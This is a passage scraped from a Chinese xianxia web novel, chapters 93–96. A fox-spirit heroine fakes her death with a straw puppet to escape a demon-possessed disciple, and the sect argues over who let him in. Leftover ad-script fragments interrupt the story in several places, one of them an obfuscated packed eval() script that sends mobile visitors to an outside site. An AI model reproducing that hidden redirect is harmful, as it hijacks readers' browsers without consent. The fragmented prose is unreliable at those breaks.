谁知道周重啸怎么了,忽然暴发还浑身魔气,乾元剑宗好日子过得太久了,应急预案做得实在太差,在周重啸化魔时居然没有第一时间制住他,任由他为非作歹,追着自己满山跑。 好在这兽性本体逃起命来是非常快,比两条腿跑得快,比御剑飞行也快,所以即使周重啸这么厉害这么猛这么锲而不舍地追着自己,也没有让他追上。 各种攻击从背后席卷而来,连乔想过躲,但是那杀招像长了眼睛一样跟在后面追,还能绕弯,“咻”一声打在她身上。 连乔操控着自己的狐尾去接,不让那招数落在致命处,好在狐尾虽然华丽但是打起架来非常有用,居然能够硬生生挺过那一掌魔气,代价是毛发全焦,原来雪白一捧,现在变成黑乎乎一长条。 周重啸还在身后紧追不舍,连乔心里怒骂,乾元剑宗这群家伙是吃白饭的吗,出了这么大的事居然没有人能赶过来抓这个家伙,还得让她一个没入门的弟子这样乱窜逃命? 其实这也不能全怪乾元剑宗,所有弟子入剑宗前都详细清查过,内部确实也做了防御备案,但是周重啸突然化魔实在是匪夷所思,且他只冲着连乔一个人追,连乔跑得又快,没等众人去捞,一瞬间就跑没了影儿。 乾元剑宗散布在一整片山脉之上,山峰林立,连乔不认路,慌乱下更不知东南西北,不知道落到哪一山峰,层林耸翠郁郁葱葱,但山道平稳,从山脚一直往山上蔓延。 白狐狸四肢并用,拖着三条黢黑的焦尾往山上跑,翻过一座山峰又落到一处山谷,周重啸和疯狗一样紧追不舍,连乔跑得都要岔气,怒骂什么鬼啊,怎么到现在都没人来救救她啊。 这深山老林的,就算真的发现她来救她,恐怕周重啸那疯子已经用魔气给她全身烧焦了,南道他们收尸都只能收一只黢黑的炭烤狐狸。 铜镯挂在狐狸前左肢上,连乔随便扒了一圈,找了几只稻草人,一只红线绑的,其他的都是白线绑的,她抓了一把符箓,每个上面都贴一张,随后将稻草人往后猛地一扔。 那稻草人落地后“砰”一声变成了和她一模一样的狐狸,连焦尾的程度都一模一样,活灵活现。 这些傀儡拖慢了周重啸的脚步,毕竟他还要花时间去认清到底哪只才是真的连乔。 虽然傀儡和连乔的外形一模一样,但灵力太少,实在是不堪一击,周重啸懒得辨认了,见一只杀一只,一掌打下去,假连乔不会焦尾,而是会整个炸开,稻草散落一地。 连乔继续跑,跑得两眼冒金星,周重啸在后面狞笑,“我劝你还是束手就擒,这样还能死得痛快一点。” “抓到你了,我就好好折磨你到死哦!” “不要。”连乔一边跑一边还不忘继续激怒后面的疯子,“我跑得快,说不定还能活下来,嘿嘿。” 一听到这个“嘿嘿”,周重啸的脸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 更黑了,确实黑,青黑色的刺青从身上往上面蔓延,起先是脖子,后面是脸,一大片一大片的黑色,就像是墨水浸染在符咒上面,恐怖又扭曲。 他动作更快了,连乔“啊”一声尖叫,跑得四只脚都生烟。 过到一处溪谷,溪谷上有一处平坦的空地,下面有一个山洞,往上走是一处非常陡峭的悬崖,不算是悬崖,是一处接近九十度的山坡,因为那上面有台阶上下,若是悬崖就不会有台阶。 连乔看到像悬崖的山坡,果断停下脚,一扭头钻进山洞。 山洞非常黑,很长,尽头有亮光,如果眼力好,能够看到这里面有非常多的捕兽夹,连乔没有回头往里跑,准备越过这黑洞跳到对面的出口。 下一秒,右前掌猛地一痛。 天旋地转,电光火石之间有什么东西套住她的脚,一张网落下,将她吊起来悬在半空。 我天,有捕兽夹就算了,怎么还有捕兽网? 连乔没在乾元剑宗里面待过不清楚,剑宗由三条山脉纵横交错而成,其间千百座山峰,灵气充沛的山峰被挑选出来,成为某长老的独有洞府,如云中峰、天都峰等,而一些实在不知名且没什么特点的小山峰,则保留原始生态,极为幽静,甚至还有瑞兽或猛兽出没。 比如她现在身处的这座。 一些没有钱买灵兽的弟子偶尔会在这里放置捕兽装置,说不定能抓到体质不错的灵兽,用以符咒和契约,便可得灵宠一只。 她现在就被捕兽装置所捕获。 捕兽网坚固无比,要扯破它还需要一点功夫。网上挂了个铃铛,铃铛上还有个小木牌,连乔伸手抓了看,上面有两个字:招摇。 招摇? 这是云招摇的捕兽网? 连乔使劲摇着铃铛,铃铛连着主人,这样发疯地响那一端的云招摇定然能听到。 她冷汗直冒,求爹爹告奶奶这位原女主快看到自己在这里,赶快把自己放开,顺便叫援兵过来。 等了许久,没有动静。 正在比试露台那边帮忙疏散人群的云招摇忙得焦头烂额,同时也听到了捕兽铃的动静。 铃铛狂暴如发癫,她从来没听过这样杂乱的铃音,心中生出一丝不好的预感,立刻连接着另一端的子铃探看。 一只狐狸被困在兽网之中,眼泪汪汪地抓着铃铛疯狂摇,那网不算结实,已经被它咬得露出一个缺口,但是小狐狸有点虚胖,缺口很小,它暂时爬不出来。 从云招摇的视角,还能看到洞口处,一片阴翳笼罩过来,正在一步一步逼近。 她心脏跳得极快,仿佛能隔着千鸾峰的山,看到连乔她那张惊恐而又绝望的脸。 她的手指动了动。 这样危急的情况,按理说她应该要要在第一时间放人。 林锦绣正在引导另一个弟子离开露台,似乎是看到了云招摇的恍惚,“阿摇,你怎么了?” 云招摇一顿,下意识握紧了母铃。 她鬼使神差摇头,“没、没怎么。” 重新投入到工作状态中,仿佛什么也没发生过。 子铃这一端,连乔等得心灰意冷,等那一抹狞笑的黑影像山一样压过来时,她尖锐的牙齿才啃断两根网,只够那尖尖的狐狸脑袋钻出去。 完了,她心想。 没有想象中的剧痛,也没有剧烈的震荡。 “砰”的一声,血雾散开,黏腻的液体和碎肉溅到地上,兜住狐狸的捕梦网也沾上一大片血液,鲜血沿着网底往下滴,“啪嗒啪嗒”,地上就残留了一大块血渍。 连乔死了。 死在荒山野岭。 和她想象中的不一样,死得一点也不轰动。 94.第 94 章 山洞里仍旧漆黑一片,但是很快有火把进来,又有人提着夜明珠挂在洞壁上,这狭窄逼仄的空间立刻亮如白昼。 洞内空无一人,只有散了一地的鲜血和红污一片的残渣,有一小片的,也有捕兽网下面一大片的,都碎得不能再碎了,也不知道是身体的哪个部位。 南道踉跄了一下。 “你们乾元剑宗就是这样做事的?” 他指着捕兽网,手都在抖,声音也在抖,这位自小跟在连乔后面向来乐天派的护卫,现在甚至都不知道自己说话语无伦次,“这捕兽网是你们自己人挂的,就是被这个网连乔挂住,但凡她没有挂住,都有脱身的机会,都不会死得这么惨!” 连乔这个人从小顺风顺水惯了,要什么有什么,没有人忤逆她也没有人和她对着干,这么多年,也就想入乾元剑宗这一件事让她心力交瘁。 南道开始后悔,在连乔那般拼命却仍旧被乾元剑宗排挤的时候,他还要带着她来这里,嘱咐她好好修行不要随心所欲。 如果可以,他宁愿她普普通通平平安安度过这一生,不回子午谷也没关系,就在这云来城,或者去哪个没有人看不起妖修的地方。 悲恸到一定的地步,连愤怒都忘了,全身心被空白所填充,连血液都仿佛停止流动…… 南道不知道什么时候跪坐在地上,伸手去捋那一片又一片的残渣。 双手混着血和泥,将连乔留在这世上的最后痕迹捧起来,像捧着世上最珍贵的珍宝。 他只想带着连乔离开。 乾元剑宗的人害死了她,排斥她,污蔑她……明明她不是那样,却总有人往她身上扣各种各样的帽子,将她往火坑里推,往深潭里挤。 造谣的,指责的,将她困囿于这小囚笼中让她被虐杀的…… 也许她本不属于这里,也永远不该来这里。 南道擦了一把自己的脸,他想起很多年前,和连乔一样都很小的时候,露不霜牵着他去见连乔。 “南道,以后你就跟在连翘妹妹的身后啦,你要一直陪着她,保证她安全哦。” 南道仰头看着露不霜的背影,后者隔着夏水上缭绕的雾气,望着连翘,目光平静而温和。 南道点点头,他想,我的命是你救的,你说什么就是什么。以后我会永远保护连翘,不让她受到伤害。 连翘坐在秋千上,手里抱着一只又白又胖的狐狸,她和狐狸一起探着头看站在一边手足无措的小男孩。 她招招手,“你过来,你,就是你,你帮我推这个秋千。” 南道一直帮着这个妹妹推秋千,那个秋千在露不霜死后被连翘连着树一把火烧了,她当时哭着嚷着说母亲死了,她一看到这个秋千就会想起她,她说是露不霜是玉非缘气死的,因为几个月前她听到他们一直在争吵,后来露不霜一病不起,之后郁郁寡欢离世。 那天南道是在春峰后找到连翘的,她躺在露不霜坟前的花丛里睡着了,三面狐蜷在她身边,伸手帮她擦干眼角挂着的泪。 南道抱着她回去,他对露不霜的墓碑道,“霜大人,我会替你照顾好连翘的。” 南道其实不是一个爱说话的人,面对其他人的时候也仍旧保持着沉默的习惯,唯独在连翘面前话很多,毕竟在她身边忙前忙后了许多年,像朋友,又像长辈一样照顾她,爱护她。 可是,他还是食言了。 南道觉得自己胸口空荡荡的,但喉咙腥甜,血腥味像潮水一样从胸腔中翻出来,在嘴里挥之不去。 将连乔的遗物装起来,南道喃喃地,“走吧,我带你回去。” “我会带连乔回子午谷。”这话他是对着在场所有人说的,“至于连乔的死因,子午谷和云来城会不惜一切代价来查清,你们所有人都是罪魁祸首,都会因此付出代价。” 他望向赶过来的云招摇,地上的木牌在他捧骨渣的时候被他挑出来,扔在一边,几块板拼在一起,大概能看清上面的字,招摇。 南道冷笑一声,他眉眼很大,笑起来非常阳光,而沉默时则有人拒人千里外的冷漠。 望着地上的木牌碎片,云招摇一顿。 南道瞥了云招摇一眼,只一眼,甚至都不愿再分给她一个眼神。那眼神,活像是在看什么人渣垃圾。 “云姑娘,连翘和你无冤无仇,就算是曾经有误会,至她与你道歉,还送你养父续命丹药后,一切也结束了。” “你为何一而再再而三地针对她?”南道质问她,“就因为她曾想要拿你身份来要挟你?但她甚至因为知道你苦恼有一半魅妖血脉,从未因为私心而公之于众,你却始终容不下她,一次次下死手逼她入绝境?” 周围安静得落针可闻。 什么?他在说什么? 什么云招摇有魅妖血统,什么连翘用云招摇身份来要挟她,连翘当初不是想用云招摇养父的命来威胁她吗,怎么还会给她养父续命的药物? 围聚的有不少弟子,在听到这一桩秘辛后都异常震惊,不知是真是假,但是看向云招摇的目光都带有探究。 云招摇顿了一下,一张小脸惨白,她摇着头,“方才云台那里出事,我一直在忙着疏离弟子,根本不知道发生了什么,更不知道连乔在这里遇害!” “这里是乾元剑宗,还请几位不要像在外面一样随意,说一些胡话血口喷人。”云招摇抬头望着南道,虽然有些畏缩,但还是将脊背挺直,“我清清白白,没有做什么,我也问心无愧。” “清清白白,问心无愧?”容瑶方才捕捉到一个重要信息,现在急着给云招摇使绊子,“这捕兽网不是你放的吗,捕兽网上有子母铃,难道连乔求救你不知道吗?” “还是说,”容瑶一跺脚,声音极大,唯恐天下不乱,“你知道了故意不去救,所以说什么都没做?” 云招摇脸白了三分,她捂着胸口,表情极其难受,像是因为被误解无力辨别而急火攻心。 她倔强摇头,“我没有!” 迟来风拉住她,拍了拍她的背,“我信你。” “就算这捕兽网是她放的,她也可能因为忙或者是别的原因没听到,你们不去找罪魁祸首,在这里为难一个小姑娘?” 他冷笑,“恕我不敢苟同你们的观点,怎么,看阿摇一个人落单,觉得她好欺负么?” 云招摇抿了抿唇,感激地望着他,“来风。” 容瑶更生气了,“表哥!” 迟来风望容瑶一眼,示意她别在这种情况下捣乱,容瑶瘪嘴,气得一鞭子甩在地上,“你就护着她吧!” 林锦绣侧脸望向云招摇,又望着地上被打瘪了的铃铛,那是捕兽网上挂着的子铃。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>她的嘴动了动,又看了一眼迟来风,最终转过了头,什么都没说。 乾元剑宗宗主以及冲虚学院院长接连赶过来,十二峰的大长也有一半露面,毕竟魔族重新出现,还是在宗门大比这种情况下出现,实在是失职。 南道抹了一把脸,他将连乔的骨灰盒收起来,却被路无尘拦住。 路无尘身材颀长,虽然已至中年,但仍旧是青年模样,清秀隽永仙风道骨,他素日不出面,一出面,必然是遇见大事。 “道友且慢。”路无尘道,“南道友,周重啸这件事出现得太诡异,我们要好好地查看一番。” “查看什么?” “周重啸被魔气污染,连乔与他在一起许久,或许也被污染。”梅远山道,“山间挂着许多灵牌,我们可以看一下到底发生什么。” 南道几乎不可置信,“连乔已经死了。” 冲虚学院院长谭千尺道,“我们要看清楚连乔到底是怎么死的。” 南道抱着连乔的骨灰盒,望着那群跃跃欲试的人,一个声音从后面响起。 “怎么,要硬抢啊。”身后那声音促狭笑一声,语气中无尽嘲讽,“还能怎么被污染,变成血雾出来日日往你们身上扑来,然后把你们衣服弄脏吗?” 南道退到默非身后,“连乔死了。” 默非没有接话。 良久,望着立在一边的路无尘,默非忽然笑了,笑得促狭。 “好本事啊,杀了爹,又杀女儿。” 最先跳起的是李长淮,“你这狂徒,你在胡说什么?” 默非“啧”了一声,又不说了,周身充斥着低气压。 这狭小的洞口里,居然能吞下这么多人,默非束手站在一边,心想自己当年给连云天的承诺没有完成,连个人都护不住,实在是丢人,如果不是禁制在身,他现在就要和他们同归于尽了。 南道失魂落魄,他抱着连乔的骨灰盒站在人群后方,默非和众长老之间的气息剑拔弩张,似乎下一秒就会爆发出极大的战争。 人群越聚越多,但很快又被乾元剑宗疏散,连乔死了,周重啸失控还没找到,这里随时都可能有危险。 “小白花,你也先回去吧。”南道望着接连而来的人,里面有不少是来送连乔的。挺好的,连乔脾气暴躁,经常傲慢又没礼貌,露不霜走得早,玉非缘很少在行为举止上指教她,愈发让她没规矩,也让她没什么朋友。 好在这次在冲虚学府,遇到一些不错的人,这至少让她走得没那么寂寞。 邵吴兴失魂落魄地站在人群里。 童元宝还没有从震惊中恢复过来。 邵吴兴摇头,“不,不可能,连乔怎么会死呢?” 他还没表白过呢! 不,不是这个原因,连乔这么好的人,怎么说没就没呢? 邵吴兴头摇得和拨浪鼓一样,“不,我不信。” 凌阿:“确实难以让人置信。” “我也不愿意相信。”童元宝望着匆匆赶来的迟星垂,双眼一酸,“师兄,连乔死了,死得可惨了,连尸体都是碎的……” 南道原本还沉浸在巨大的悲痛之中,在看到迟星垂的那一瞬间没反应过来,半晌,他忽然扬起头,不可置信望向迟星垂,“嗯?” 迟星垂挑了挑眉,“嗯,没死。” 95.第 95 章 南道模模糊糊睁开泪眼,起先是怔愣一下,继而冲上前抓住迟星垂,“你为什么会没事?” “她死了,你怎么会没事,为什么你没死?” “你怎么会没死?!” 一连三问,没头没脑,语无伦次。 “啊,你这人怎么这样啊,你好好地干什么咒我大师兄死啊?”童元宝手忙脚乱拉开南道抓在自己大师兄身上的手。 小胖子不矮,但是在这俩大高个面前就显得不那么高。好在小胖子像功夫熊猫一样灵活,鱼一样滑过两人中间,将南道提溜在大师兄身上的手拽开,强行分开两人。 “南道,虽然我知道你很难受,但是你先别难受,也不能这么伤及无辜。” 望着怒目圆睁的南道,童元宝叹了一口气,连乔出事给他带来太大打击了,让他精神失常,逮着个人就问他死没死。 迟星垂倒是没有生气,他对童元宝摇了摇头,示意,“无事。” “连乔没事。”迟星垂说。 “她怎么会没事?”南道提着那装着碎肉和血渣的盒子,失魂落魄,“都成这样了!” “她在上面呢。” “我知道她在上面。”南道目光平静,“会有一天,我将你们乾元剑宗这群道貌岸然的家伙送到下面,让你们永世不得翻身。” 童元宝脊背一冷,“啊?” 迟星垂叹了一口气,示意南道望上面,循着他指的方向看过去,在那八十九度坡的坡顶,一只大的白狐狸驮着一只小的黑狐狸,正探头探脑往下看。 如果仔细看便知道,那小狐狸不是黑的,是被火燎得皮毛发焦,身上又脏又破像是个破布娃娃,只有那一双滴溜溜转的眼珠子异常明亮。 童元宝:“啊?” 白花惊:“啊?” 向来喜怒不轻易外怒的成英轩:“啊?” 南道:“啊啊啊啊啊啊啊啊啊……” 他先是顿了一下,继而赶紧伸手胡乱在脸上来回抹,企图将泪痕擦去。 天呐,这要是被连乔看到自己哭了,她估计得嘲笑上十天半个月。 丢人! 不行! 但是连乔已经看到了,她伸出前爪,一拍三面狐的脑袋,三面狐得令,在众人目瞪口呆的眼光里,蹑手蹑脚地从那八十九度坡上往下爬。 那坡太陡了,三面狐也爬得不利索,一个不小心脚下一滑,只见它在空中虚蹬一下,扭了个麻花形状,然后非常威风稳稳落在地面空台上。 连乔紧紧揪住三面狐的脖子,避免不小心从它身上滑下来。 童元宝望了望连乔,又望了望南道手中的骨灰盒,“什么情况?” 连乔张口想回答,但是出声后是一声嘶哑的“啊”,难听又嘈杂,她伸出爪子捂住自己的嘴。 方才用力太多,人都虚脱了,完全化兽形,连说话都说不出来了。 连乔跳到骨灰盒上,使劲踩了踩,示意南道给它打开。 南道打开一看,立刻傻了眼,之前的血肉和碎渣都变成了稻草灰,最大的一块碎肉成了一条细细的红绳,混着泥土躺在骨灰盒中,平静又安详。 连乔眼眶一酸,大呼“苦了你了小红,小红你死得好惨啊”,但是话没说出来,开口又是沙哑的狐狸叫“啊啊啊”。 “这什么?”南道来回翻了一下,又看到只剩下一个角的符箓,“傀儡术?” 连乔点点头。 不仅是傀儡术哦,这具红线草人可是当年她在黑市花大价钱买来的天极法宝,用精血引之,可与本人无异。 时间回到连乔逃命碰到八十九度坡的时候。看到那和悬崖比肩的陡坡,连乔四只腿一软,当即想仰倒。下面是一处黑漆漆的但是看上去很大很安全的山洞,她想了想,立刻让小红变成她的样子跳进山洞,自己则三两步冲上陡坡。 开玩笑,虽然她恐高,但是在恐高和死翘翘之间,还是知道怎么选的。 那山洞谁知道里面有什么,万一是个死胡同呢,一进去不就瓮中捉鳖了? 说到瓮中捉鳖,连乔心神一动,倒是想了个“螳螂捕蝉黄雀在后”的好法子。 于是乎,在周重啸爆了小红后,连乔从后面用捕兽网罩住他,捕兽网限制住了他的动作,又在他冲开束缚的前一秒钟,从天而下罩住一个法阵,连乔用冰凌盒给他装好,盖上,锁死,一气呵成。 笑话,这可是当年抓镜魔用的法阵和装敖周用的天级法宝,比那云台还要坚固,虽然周重啸在里面发疯发癫,但外面一点感觉也没有,还可以通过透明的罩子看到他在里面狂舞的丑态。 盒子被小狐狸缩小了,变成个骰子大小的正方体,被她挂在脖子上,现在踢蹴鞠一样踢出去,丢给路无尘。 “啊啊啊……” 三面狐也跟着“啊啊啊”。 南道翻译,“好好带着这家伙检查一番看看到底是哪里出了问题”。 “啊啊啊……” 三面狐:“啊啊啊。” 南道冷笑一声,“大比还能捅出这么大的篓子,还妄称自己是修真界第一大宗门,我看全都是一群酒囊饭袋一群饭桶,不如都死了算了。” 连乔:“?” 三面狐:“?” 浑身黢黑的小狐狸歪了歪头,非常不解地望着南道。 不是啊,她刚刚说的是很明显周重啸进来乾元剑宗有问题,你们要彻查一番到底是谁招他进来的,此时非同小可……为什么到南道嘴里就成了“你们都是一群废物”这种话? 虽然她也想骂人来着。 连乔舔了舔爪子,身上全是黑灰,舔得嘴里也是土,她“呸呸”地吐了一口灰,南道也冷哼一声,“呸!” 三面狐:“呸!” 连乔:“……”行吧。 反正她结的仇够多了,也不在乎此时再火上添油。 路无尘望着透明冰盒中的周重啸,吩咐人立刻带他下去查,周重啸原本还是好好的,不知道为什么突然就爆发入魔了,这其中定然有什么隐情,能瞬间将活人便为魔人,还能在一开始隐藏魔人气息。 路无尘请连乔留下协助他调查。 毕竟从比试到让周重啸伏法,连乔全程离他最近,也最先察觉出他的异样,周重啸发生了什么,连乔最清楚不过。 另一层意思也很明显,周重啸坠魔,魔毒极易污染,连乔离得这么久,就算她无事,那也要隔离一段时间以待观察。 南道皱眉,“你们谁敢动她?!” 连乔仰着头望南道。 男人高大的身形像一座山,挡在她面前形成一大块阴影,这样义无反顾,好像要为她挡开全世界的恶意。 她舔了舔爪子,对着三面狐耳语一番。 三面狐迟疑一下,点点头,爬过去对南道小声说。 南道顿了一下,“可是……” 连乔朝他眨眨眼,“放心吧。” 周重啸这件事明显是冲着她来的,先是邵灵,接着又是周重啸,这些都不是巧合,很明显有人在她入剑宗的路上使绊子。 能在宗门大比上动手脚,对方定然有点手段和背景,如果她就这么走了,那岂不是给对方来了可乘之 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 机,这件事说不定压一压,就压下去了。 所以,她不能走,不仅不走,还要顺藤摸瓜将这个幕后黑手找到。 否则,她还有可能再不明不白地死一次。 就像前世那样,不明不白地让子午谷被魔气污染。 不明不白地被魔气……难道和这次周重啸一样,也是从体内发生变化? 所以,更要留下了。 路无尘俯下身,对连乔表示感谢。他吩咐人替连乔准备好客房,这是一个清脆的声音在背后响起。 “宗主,让我来照顾她吧。” 云招摇站出来,她微笑着伸手摸摸小狐狸,“我以前也养过一只灵狐,直到怎么照顾小动物,而且……” “而且方才发生了一些误会,我希望能帮连乔做些什么?啊!” 云招摇伸出的手猛地一缩,连乔挠了她一爪子,在空中旋转三百六十度又来一个凌空踏步,一脚蹬在云招摇手上,随后稳稳落在地上。 连乔舔舔自己的爪子,在云招摇还想伸手抱她的时候将她“哈”退。 她很不喜欢这个虚伪的家伙。 脑海中的系统上线,它似乎翻了个白眼(如果它有白眼的话),“她居然还有脸来抱你?” “怎么没脸呢。”连乔小爪子往地下一按,朝着其他想带她回去的人龇牙咧嘴,异常凶狠。 “方才捕兽网出了篓子,条条证据都显示云招摇见死不救,她和我之间确实是有矛盾在的,现在主动请缨,当然是为了说明我和她之间问题不大,方才她并没有错。” 系统:“哕~~~” “说实话,我以前对这位原女主很有滤镜的。”系统也从连乔的视角看到了事情的所有经过,它的三观好像是被颠覆了,感觉很心碎,“我现在越来越发现,这一切都是假的,都是骗人的。” “骗你了?”连乔又拍开一只伸过来的手,她看了,想照顾她的那些人她一个都看不上眼。 “最先被骗的是我好吧?”连乔小爪子黢黑,继续张牙舞爪对着面前一群人,“你看你那原书,什么东西啊,说什么女主动人又善良,男主深情又温柔,你自己看看,除了男主是男的女主是女的,其他在他们身上的哪一点是真的?” 系统声音小小的,还有点委屈,“那我从公司拿的就是这个剧本,我能有什么办法?” “你哪个公司啊,有监察工委吗,能举报吗?” 系统又闭嘴了,活像是一个找不出借口的江湖骗子,现在以沉默代替回答。 连乔继续踢开那些之前对她指手画脚的人,太搞笑了,这些人都是原书男女主的走狗,哪像是要照顾她这只小狐狸的模样,明明就像假公济私,趁着这机会给她好果子吃。 忽然一只大手落下来。 紧接着连乔悬空。 她蹬着滚滚的小短腿,但是扑了个空,一双骨节分明的手捧住她,提着她竖起来,连乔在空中晃了一下,余光瞥见迟星垂光洁的下颚。 哦,这个可以,这个家伙和她绑着命呢,虽然他也不怎么喜欢自己,还喜欢说风凉话,但是他至少不会虐待自己,也不会让自己不明不白地死掉。 连乔勉强能接受被迟星垂带走,她往起一蹦,反过来抱住迟星垂的手,黑黢黢的爪子在迟星垂身上留下四朵梅花印。 向来洁癖严重不沾染一丝尘埃的迟大公子皱了一下眉,但是很违背他人设,他没有第一时间将这个黑乎乎脏兮兮的煤球丢出去,而是反手将小狐狸抱住,将她往上提了提,避免她的小短腿不得力滚下来。 连乔:“嘤。” 96.第 96 章 迟星垂捧住连乔,连乔这下安心了,虽然迟星垂未必站在她这一边,但是目前有重心蛊的存在,他至少不能站在她对立面。 至少不会危害她生命安全。 她满意地舔了舔爪子,因为嘴里有沙子又“呸”了一下。 “星垂,这狐狸可能还有些问题,需要带之十二峰长老府,天枢院亲自查看,确定她没有问题,才能放她回去。” 连乔在迟星垂胳膊上悬着,背对着所有人,颇有些“迟星垂你看着办吧,你把我交出去到时候我怎么死的你都不会知道”的壮烈。 迟星垂摸了一把狐狸,缓缓开口道,“宗主,师父已经回来了。” 路无尘顿了顿,笑道,“也罢,既然虞南子回来,他必能查看一切,有任何端倪都不会逃过他的眼睛。” 作为十二长老其中之一,虞南子向来不爱插手宗门诸事,迟星垂既然开这个口,定然是得到虞南子授意,他已经这么说,路无尘便也不多说什么。 再者,迟星垂作为云中峰峰主,曾经大剑仙之一的钟蕴唯一的遗孤,路无尘也相当给他面子。 钟蕴当年被魔人所害,至今尸骨无存,迟星垂与魔人不共戴天,自然在大事上分不清。 迟星垂提示道,“宗主,周重啸三年前被驱逐离开,原本也是无可能回冲虚学院的,到底如何回来,谁人同意他回来,以及他坠魔与他回冲虚学院是否有关,都应该一探究竟。” 路无尘道:“此事交由天枢院处理,现在也已托人向岭山谷发消息,其间种种,想必很快会水落石出。” “宗主,连乔,我就先带回云中峰了。” 迟星垂非常有礼貌,路无尘挥手,示意他离开,另一个声音却打断他。 “兄长,你就这样将人带走了,不合适吧?”迟来风摇着扇子,末了可能觉得这种情况下装逼不合适,他“啪”一声将扇子收回。 迟星垂望着他,没有回应,只是将后背朝人的连乔猛地蹬了一下腿,迟星垂轻声道,“放心,不会把你交出去。” “兄长。”迟来风看上去挺礼貌,但是说的内容就没那么礼貌了,“兄长,你想带连乔去云中峰?” “兄长,连乔是个姑娘,你带她回去还是不合适。”迟来风道,“还是让招摇来吧,她也是个姑娘家,比较细心,而且方才有些误会,她也希望和连乔之间解开误会。” 连乔转过头来,朝着迟来风又龇牙。 迟星垂顺着连乔的头往下摸,连乔的毛黢黑,很快迟星垂的手沾上一层黑灰。 “她只是一只狐狸,来风你又想到了哪些?” 迟星垂缓缓抬头,望向迟来风的眼神带有一分轻蔑两分嫌恶三分不在意,这种将自己毫不放在眼中的表情让迟来风蹙起眉头。 迟星垂平日里不喜欢阴阳人,但这不代表他脾气好。 “来风,多修心多学习,别总是往龌龊的地方想。”迟星垂摸摸连乔的头,被他来回薅几遍后,连乔身上的黑灰都被蹭走,这下白白净净的,倒显得这只胖狐狸有点呆萌可爱。 “心脏的人看什么都觉得脏,别再和其他人一样往她、往我身上泼脏水了,她只是一只小狐狸而已。” 迟星垂抱着连乔离开,连乔从迟星垂的臂弯里探出头,眼珠子盯着迟来风来回看,看到他明明气歪了鼻子却还是忍着不发火那副装逼又别扭的模样。 连乔还没反应,系统“嗤”一声,“下头男。” 连乔:“你说谁?” “能说谁啊?!难道说此时此刻帅炸了酷毙了的迟星垂大公子吗?”系统似乎在叉腰,“迟来风有病吧,你讨厌云招摇都表现得那么明显了,他还要找那么烂那么骑虎难下的借口拦你,想把你夺下来哄云招摇高兴啊?” 连乔舔舔手,“说不定还因为他也想带我走呢?” 系统:“啊?” “迟来风这个人,越是对他没有好脸色,他越是找罪受往上贴,你看他像是为我考虑又像是想为云招摇找场子,事实上一旦脱离迟星垂的视线,我免不了和他来往,他巴不得我跟以前一样贴着他呢,之前我……原主追他追得那么凶,他连正眼都不看一下,后来我贴上迟星垂了,他又看不下去了,又想让我把目光移回来,不知道他是抖M还是纯粹看不惯迟星垂,所有迟星垂身边的东西他都想抢。” 系统很认真地想了一下,“我觉得都有可能。” 连乔换了个姿势躺在迟星垂臂弯,听迟星垂对南道说放心我会照顾好她的,南道深深地望着她,半晌点头,“她想留下,我尊重她的选择。” “当然,迟道友,我也信你。” 连乔回想着南道望向自己的一双眼,“系统,你觉不觉得南道很喜欢原主。” 或者更应该说是,很爱原主。 系统还沉浸在方才三观逆转的情绪里,“啊?” “呵呵。”连乔不再对牛弹琴,她舒服地趴在迟星垂身上,跟随他的视野天旋地转。 迟星垂居然当了回人还给她造了个小型的障目术,连乔在空中迅速穿行,望着那流转的星河,很快睡着了,醒来就到了云中峰一隅。 面前是一处温泉,还冒着温热的气息,迟星垂抱着连乔两条上肢部分,将她放在水中。 “好好洗一下。” “啊啊啊啊啊啊……”连乔尖叫,四肢乱划,虽然她会水,但是狐狸不会游泳,还拖着九条残破的受伤的尾巴呢,全身皮毛被水浸透了很重的,她要淹死了…… 她在水中癫了几下,忽然发现能站起来,那水实在太浅了,能把小狐狸全部埋进去,但是只要她一仰头,整张脸就露在外面了。 她仰头就看到坐在岸边的看着自己手足无措的迟星垂,此时他俯下身,似乎在探看她是否真的溺水了,而且眼中含笑,很明显是在嘲笑她不稳重。 连乔气得龇牙,一甩尾巴,将身上的水全溅到迟星垂身上。 这下轮到连乔笑眯眯盯着迟星垂了。 但迟星垂并没有不稳重,他拿出帕子随意擦了一下脸上溅上的水。 耳边传来“叮”一声。 是万机响了,来信的人是童元宝,“师兄,师父回来了,要不要让师父看看连乔有没有事,有没有受魔气污染。” 迟星垂看着小狐狸在温泉里自由自在地游泳,“不用了。” “万一出事了呢?” 迟星垂反复在识海里探看,发现自己并没有异常,那么同样连乔也没有问题。他道,“方才我用过几个方法都查过了,她没事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13957816|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦,那好,师父去天枢院了,我也过去看看。” “元宝。”迟星垂问:“周重啸是什么时候来的冲虚学院。” “一个月前。” 周重啸是个非常高调的人,三年前乾元剑宗就有所耳闻,甚至有人吹嘘他天纵奇才,将会是下一个杨无溟。这等嚣张的人再回冲虚学院,并且没有造成大动静,实在匪夷所思。 童元宝也有这个疑问,他开口,“说不定真像大家说的那样,他变好了呢?” 迟星垂:“你觉得可信吗?” 童元宝:“是不太可信哈。” 连乔游到深的地方,尾巴吸饱了水往下坠,她在水里挣扎了一下,“咕噜噜”吐着泡泡,迟星垂伸出剑,连乔提着小爪子够住,吐了口水,又慢悠悠游回浅滩。 “是谁招他进来的?” “梅远山。”童元宝一拍大腿,“你是不是也不信?梅远山虽然有个现世宝的儿子,但是还没那么糊涂和魔族有勾结,据说他这次同意招周重啸进学院,是因为最近天门峰有点缺钱……” 